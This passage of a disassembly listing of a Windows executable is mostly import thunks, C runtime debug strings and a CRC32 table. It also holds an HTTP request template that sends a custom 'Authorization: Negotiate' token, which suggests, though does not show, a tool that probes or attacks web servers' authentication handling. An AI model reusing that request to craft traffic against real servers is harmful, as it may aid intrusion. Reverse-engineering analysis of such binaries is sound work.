ds:dword_4F6464 ; --------------------------------------------------------------------------- jmp ds:dword_4F6468 ; --------------------------------------------------------------------------- jmp ds:dword_4F646C ; --------------------------------------------------------------------------- jmp ds:dword_4F6470 ; --------------------------------------------------------------------------- jmp ds:dword_4F6474 ; --------------------------------------------------------------------------- jmp ds:dword_4F6478 ; --------------------------------------------------------------------------- jmp ds:dword_4F647C ; --------------------------------------------------------------------------- jmp ds:dword_4F6480 ; --------------------------------------------------------------------------- jmp ds:dword_4F6484 ; --------------------------------------------------------------------------- jmp ds:dword_4F6488 ; --------------------------------------------------------------------------- jmp ds:dword_4F648C ; --------------------------------------------------------------------------- jmp ds:dword_4F6490 ; --------------------------------------------------------------------------- jmp ds:dword_4F6494 ; --------------------------------------------------------------------------- jmp ds:dword_4F6498 ; --------------------------------------------------------------------------- jmp ds:dword_4F649C ; --------------------------------------------------------------------------- jmp ds:dword_4F64A0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43BB08 proc near ; CODE XREF: _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *)+27p ; __global_unwind2+13p jmp ds:dword_4F64AC sub_43BB08 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F64B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F64BC ; --------------------------------------------------------------------------- jmp ds:dword_4F64C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F64CC ; --------------------------------------------------------------------------- jmp ds:dword_4F64D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F64DC ; --------------------------------------------------------------------------- jmp ds:dword_4F64E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F64EC ; --------------------------------------------------------------------------- jmp ds:dword_4F64F0 ; --------------------------------------------------------------------------- jmp ds:dword_4F64F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F64F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F64FC ; --------------------------------------------------------------------------- jmp ds:dword_4F6500 ; --------------------------------------------------------------------------- jmp ds:dword_4F6504 ; --------------------------------------------------------------------------- jmp ds:dword_4F6508 ; --------------------------------------------------------------------------- jmp ds:dword_4F650C ; --------------------------------------------------------------------------- jmp ds:dword_4F6510 ; --------------------------------------------------------------------------- jmp ds:dword_4F6368 ; --------------------------------------------------------------------------- jmp ds:dword_4F6364 ; --------------------------------------------------------------------------- jmp ds:dword_4F6360 ; --------------------------------------------------------------------------- jmp ds:dword_4F635C ; --------------------------------------------------------------------------- jmp ds:dword_4F6358 ; --------------------------------------------------------------------------- jmp ds:dword_4F6354 ; --------------------------------------------------------------------------- jmp ds:dword_4F6350 ; --------------------------------------------------------------------------- jmp ds:dword_4F634C ; --------------------------------------------------------------------------- jmp ds:dword_4F6348 ; --------------------------------------------------------------------------- jmp ds:dword_4F6344 ; --------------------------------------------------------------------------- jmp ds:dword_4F6340 ; --------------------------------------------------------------------------- jmp ds:dword_4F633C ; --------------------------------------------------------------------------- jmp ds:dword_4F6338 ; --------------------------------------------------------------------------- jmp ds:dword_4F6334 ; --------------------------------------------------------------------------- jmp ds:dword_4F6330 ; --------------------------------------------------------------------------- jmp ds:dword_4F632C ; --------------------------------------------------------------------------- jmp ds:dword_4F6328 ; --------------------------------------------------------------------------- jmp ds:dword_4F6324 ; --------------------------------------------------------------------------- jmp ds:dword_4F6320 ; --------------------------------------------------------------------------- jmp ds:dword_4F631C ; --------------------------------------------------------------------------- jmp ds:dword_4F6318 ; --------------------------------------------------------------------------- jmp ds:dword_4F6314 ; --------------------------------------------------------------------------- jmp ds:dword_4F6310 ; --------------------------------------------------------------------------- jmp ds:dword_4F630C ; --------------------------------------------------------------------------- jmp ds:dword_4F6308 ; --------------------------------------------------------------------------- jmp ds:dword_4F6304 ; --------------------------------------------------------------------------- jmp ds:dword_4F6300 ; --------------------------------------------------------------------------- jmp ds:dword_4F62FC ; --------------------------------------------------------------------------- align 10h ; [000001A1 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000047 BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43F150 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002E BYTES: COLLAPSED FUNCTION exception::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000069 BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION exception::operator=(exception const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION exception::~exception(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000021 BYTES: COLLAPSED FUNCTION exception::what(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000040 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000028 BYTES: COLLAPSED FUNCTION type_info::operator==(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION type_info::operator!=(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION type_info::before(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION type_info::raw_name(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000019 BYTES: COLLAPSED FUNCTION type_info::type_info(type_info const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION std::_Init_locks::operator=(std::_Init_locks const &). PRESS KEYPAD "+" TO EXPAND] ; [00000041 BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C5 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B4 BYTES: COLLAPSED FUNCTION sub_43C2C0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002E7 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000056 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION _is_wctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_43C770 proc near ; DATA XREF: .rdata:0043F35Co lea ecx, [ebp-38h] jmp sub_40DD70 sub_43C770 endp ; =============== S U B R O U T I N E ======================================= sub_43C778 proc near ; DATA XREF: .rdata:0043F354o mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_43C78E mov ecx, [ebp+8] jmp sub_40DD70 ; --------------------------------------------------------------------------- locret_43C78E: ; CODE XREF: sub_43C778+8j retn sub_43C778 endp ; --------------------------------------------------------------------------- loc_43C78F: ; DATA XREF: sub_40D90Fo mov eax, offset dword_43F330 jmp ___CxxFrameHandler3 ; =============== S U B R O U T I N E ======================================= sub_43C799 proc near ; DATA XREF: .rdata:0043F384o lea ecx, [ebp+14h] jmp sub_40DD70 sub_43C799 endp ; =============== S U B R O U T I N E ======================================= sub_43C7A1 proc near ; DATA XREF: .rdata:0043F38Co lea ecx, [ebp-1Ch] jmp sub_40DD70 sub_43C7A1 endp ; --------------------------------------------------------------------------- loc_43C7A9: ; DATA XREF: sub_40DA86o mov eax, offset dword_43F360 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- align 4 loc_43C7B4: ; DATA XREF: sub_40E1ADo mov eax, offset dword_43F390 jmp ___CxxFrameHandler3 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C7C0 proc near ; DATA XREF: .rdata:0043F48Co lea ecx, [ebp-38h] call sub_40DD70 retn sub_43C7C0 endp ; =============== S U B R O U T I N E ======================================= SEH_43B3B0 proc near ; DATA XREF: sub_43B3B0+5o mov eax, offset dword_43F468 jmp ___CxxFrameHandler3 SEH_43B3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C7E0 proc near ; DATA XREF: .rdata:0043F4B4o mov ecx, [ebp-10h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43C7E0 endp ; =============== S U B R O U T I N E ======================================= SEH_43B410 proc near ; DATA XREF: sub_43B410+5o mov eax, offset dword_43F490 jmp ___CxxFrameHandler3 SEH_43B410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C800 proc near ; DATA XREF: .rdata:0043F4FCo mov ecx, [ebp-10h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43C800 endp ; =============== S U B R O U T I N E ======================================= SEH_43B4D0 proc near ; DATA XREF: sub_43B4D0+5o mov eax, offset dword_43F4D8 jmp ___CxxFrameHandler3 SEH_43B4D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C820 proc near ; DATA XREF: .rdata:0043F524o mov ecx, [ebp-14h] call ??1exception@@UAE@XZ ; exception::~exception(void) retn sub_43C820 endp ; =============== S U B R O U T I N E ======================================= SEH_43B590 proc near ; DATA XREF: sub_43B590+5o mov eax, offset dword_43F500 jmp ___CxxFrameHandler3 SEH_43B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43C840 proc near ; DATA XREF: .rdata:0043F58Co lea ecx, [ebp-38h] call sub_40DD70 retn sub_43C840 endp ; =============== S U B R O U T I N E ======================================= SEH_43B6B0 proc near ; DATA XREF: sub_43B6B0+5o mov eax, offset dword_43F568 jmp ___CxxFrameHandler3 SEH_43B6B0 endp _text ends ; Section 2. (virtual address 0003D000) ; Virtual size : 00002590 ( 9616.) ; Section size in file : 00002590 ( 9616.) ; Offset to raw data for section: 0003D000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 43D000h dd 0 aSfsf db 'FSF',0 align 4 dd 2, 5Fh, 0 dd 5AC00h dword_43D01C dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_43D41C dd 2Eh ; DATA XREF: sub_401CC7+3483o ; sub_401CC7+356Fo ... dword_43D420 dd 2Eh ; DATA XREF: sub_401CC7+38ABo ; sub_401CC7+38E5o ... ; char aGetHttp1_0Host[] aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40DA86+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_43D460 dq 1.388888888888889e-2 ; DATA XREF: sub_40D8C3+2Fr dbl_43D468 dq 1.666666666666667e-1 ; DATA XREF: sub_40D8C3+15r dbl_43D470 dq 1.333333333333333 ; DATA XREF: sub_40D90F+70r dword_43D478 dd 0FFFFFFFFh ; DATA XREF: sub_40DD23+13r ; sub_40DDA0r ... dword_43D47C dd 0 ; DATA XREF: sub_40E087o flt_43D480 dd 5.0e-1 ; DATA XREF: sub_40E3FF+39Br align 8 dbl_43D488 dq 9.765625e-4 ; DATA XREF: sub_416F9A+2BDr ; sub_416F9A+2D8r ... dbl_43D490 dq -1.52587890625e-4 ; DATA XREF: sub_418688+3E5r dbl_43D498 dq 3.0517578125e-4 ; DATA XREF: sub_418688+3C5r dbl_43D4A0 dq -3.0517578125e-4 ; DATA XREF: sub_418688+342r ; sub_418688+3A7r dbl_43D4A8 dq 1.52587890625e-4 ; DATA XREF: sub_418688+271r dbl_43D4B0 dq -1.739501953125e-3 ; DATA XREF: sub_418688+24Br ; sub_418688+2D5r ... dbl_43D4B8 dq 3.11279296875e-3 ; DATA XREF: sub_418688+E1r dbl_43D4C0 dq 3.0517578125e-5 ; DATA XREF: sub_418688+AEr ; sub_418688+138r ... dbl_43D4C8 dq 6.103515625e-5 ; DATA XREF: sub_418688+93r ; sub_418688+308r dbl_43D4D0 dq 2.288818359375e-3 ; DATA XREF: sub_418688+21r dbl_43D4D8 dq -3.0517578125e-5 ; DATA XREF: sub_419589+2Br flt_43D4E0 dd 9.765625e-4 ; DATA XREF: sub_41B3ED+1B0r flt_43D4E4 dd 8.0 ; DATA XREF: sub_41B3ED+1AAr flt_43D4E8 dd 0.0 ; DATA XREF: sub_41B3ED+171r flt_43D4EC dd 1.0e-3 ; DATA XREF: sub_41B3ED+168r aFclose_c db 'fclose.c',0 ; DATA XREF: _fclose+1Do ; __fclose_lk+25o align 4 ; char aStreamNull[] aStreamNull db 'stream != NULL',0 ; DATA XREF: _fclose+14o _fseek+Do ... align 4 ; char aStrNull[] aStrNull db 'str != NULL',0 ; DATA XREF: __fclose_lk+1Co ; sub_41FDD0+45o ... aClient db 'Client',0 ; DATA XREF: .data:00452A20o align 10h aIgnore db 'Ignore',0 ; DATA XREF: .data:00452A1Co align 4 aCrt db 'CRT',0 ; DATA XREF: .data:00452A18o aNormal_0 db 'Normal',0 ; DATA XREF: .data:00452A14o align 4 aFree db 'Free',0 ; DATA XREF: .data:off_452A10o align 10h dword_43D540 dd 0FFFFFFFFh, 0 ; DATA XREF: __nh_malloc_dbg+5o dd offset sub_41CD3D aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: __heap_alloc_dbg:loc_41CF0Ao ; _realloc_help:loc_41D390o align 10h ; char aInvalidAllocat[] aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: __heap_alloc_dbg+11Bo ; char aS_33[] aS_33 db '%s',0 ; DATA XREF: __heap_alloc_dbg+BCo ; __heap_alloc_dbg+16Fo ... align 4 aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: __heap_alloc_dbg:loc_41CE57o align 4 ; char aClientHookAllo[] aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: __heap_alloc_dbg+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: __heap_alloc_dbg+31o ; _realloc_help+77o ... align 10h ; char a_crtcheckmemor[] a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: __heap_alloc_dbg+25o ; _realloc_help+6Bo ... align 8 dword_43D628 dd 0FFFFFFFFh, 0 ; DATA XREF: __realloc_dbg+5o dd offset sub_41D1E3 ; char a_pfirstblockPo[] a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: _realloc_help+499o align 10h ; char a_plastblockPol[] a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: _realloc_help+445o align 4 ; char aFreallocFreall[] aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: _realloc_help:loc_41D5F6o align 10h ; char a_block_typePol[] a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: _realloc_help+277o align 4 ; char aPoldblockNline[] aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: _realloc_help:loc_41D421o db 'REQ',0 align 4 ; char a_crtisvalidhea[] a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: _realloc_help+1B6o ; sub_41D8A0+A8o ... align 4 ; char aAllocationTooL[] aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: _realloc_help+136o align 4 aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: _realloc_help:loc_41D30Fo ; char aClientHookReAl[] aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: _realloc_help+DCo align 8 dword_43D7D8 dd 0FFFFFFFFh, 0 ; DATA XREF: __expand_dbg+5o dd offset sub_41D7C3 align 8 dword_43D7E8 dd 0FFFFFFFFh, 0 ; DATA XREF: __free_dbg+5o dd offset sub_41D882 ; char a_pfirstblockPh[] a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41D8A0+35Do align 4 ; char a_plastblockPhe[] a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41D8A0+307o align 4 ; char aPheadNblockuse[] aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41D8A0+29Co ; sub_41DCB0+133o align 4 ; char aPheadNlineIgno[] aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_41D8A0:loc_41DAC4o align 4 ; char aDamageAfterHsB[] aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D8A0+1E5o ; sub_41DFF0+265o align 10h ; char aDamageBeforeHs[] aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41D8A0+17Fo ; sub_41DFF0+208o align 4 ; char a_block_type_is[] a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41D8A0+10Ao ; sub_41DCB0+E2o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41D8A0:loc_41D90Do align 10h dword_43D920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DCB0+5o dd offset sub_41DE21 align 10h dword_43D930 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtSetDbgBlockType+5o dd offset sub_41DF1D ; char aMemoryCheckErr[] aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: _CheckBytes+54o align 4 ; char aHsLocatedAt0x0[] aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_41DFF0+33Ao align 4 ; char aHsAllocatedAtF[] aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41DFF0+307o ; char aDamageOnTopOfF[] aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_41DFF0+2BEo align 10h aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41DFF0:loc_41E1C4o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_41DFF0:loc_41E11Co align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_41DFF0:loc_41E0F4o align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_41DFF0:loc_41E0CCo align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_41DFF0:loc_41E0A4o align 10h a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_41DFF0:loc_41E079o align 8 dword_43DAB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DFF0+5o dd offset sub_41E365 align 8 dword_43DAC8 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtDoForAllClientObjects+5o dd offset sub_41E45D align 8 dword_43DAD8 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtIsMemoryBlock+5o dd offset sub_41E706 ; char aBadMemoryBlock[] aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41E750+13Co align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_41E750:loc_41E779o dword_43DB30 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41E750+5o dd offset sub_41E8D8 a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: __CrtMemDifference:loc_41E922o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41ECECo align 4 ; char aCrtBlockAt0x08[] aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+271o align 10h ; char aNormalBlockAt0[] aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+214o ; char aClientBlockAt0[] aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince+1A9o ; char aLd[] aLd db '{%ld} ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+15Ao align 4 ; char aHsD[] aHsD db '%hs(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+132o align 10h ; char aFileErrorD[] aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+101o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41EA6Bo dword_43DC48 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtMemDumpAllObjectsSince+5o dd offset sub_41ECE1 ; char aDataSS[] aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: __printMemBlockData+ECo ; char a_2x[] a_2x db '%.2X ',0 ; DATA XREF: __printMemBlockData+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: __CrtDumpMemoryLeaks:loc_41EE84o ; char aTotalAllocatio[] aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+9Do align 4 ; char aLargestNumberU[] aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+75o align 4 ; char aLdBytesInLdHsB[] aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: __CrtMemDumpStatistics+4Bo align 4 ; char aMode_t0[] aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+95o align 4 ; char aModeNull[] aModeNull db 'mode != NULL',0 ; DATA XREF: __fsopen+67o ; __openfile+4Fo align 4 ; char aFile_t0[] aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+3Do align 10h aFopen_c db 'fopen.c',0 ; DATA XREF: __fsopen+18o __fsopen+46o ... ; char aFileNull[] aFileNull db 'file != NULL',0 ; DATA XREF: __fsopen+Fo align 4 ; char aFormatNull[] aFormatNull db 'format != NULL',0 ; DATA XREF: _sprintf+45o ; __snprintf+45o ... align 4 aSprintf_c db 'sprintf.c',0 ; DATA XREF: _sprintf+24o _sprintf+4Eo ... align 4 ; char aStringNull[] aStringNull db 'string != NULL',0 ; DATA XREF: _sprintf+1Bo ; __snprintf+1Bo ... align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41FDD0+24o ; sub_41FDD0+4Eo aFprintf_c db 'fprintf.c',0 ; DATA XREF: _fprintf+1Eo _fprintf+48o align 4 aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: __vsnprintf+1Eo ; __vsnprintf+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: _sscanf+24o _sscanf+4Eo align 10h dbl_43DD90 dq 1.0 ; DATA XREF: _floor+99r _ceil+99r ... aDbgdel_cpp db 'dbgdel.cpp',0 ; DATA XREF: operator delete(void *)+62o align 4 aOnexit_c db 'onexit.c',0 ; DATA XREF: __onexit+2Eo ; ___onexitinit+8o align 10h aFseek_c db 'fseek.c',0 ; DATA XREF: _fseek+16o 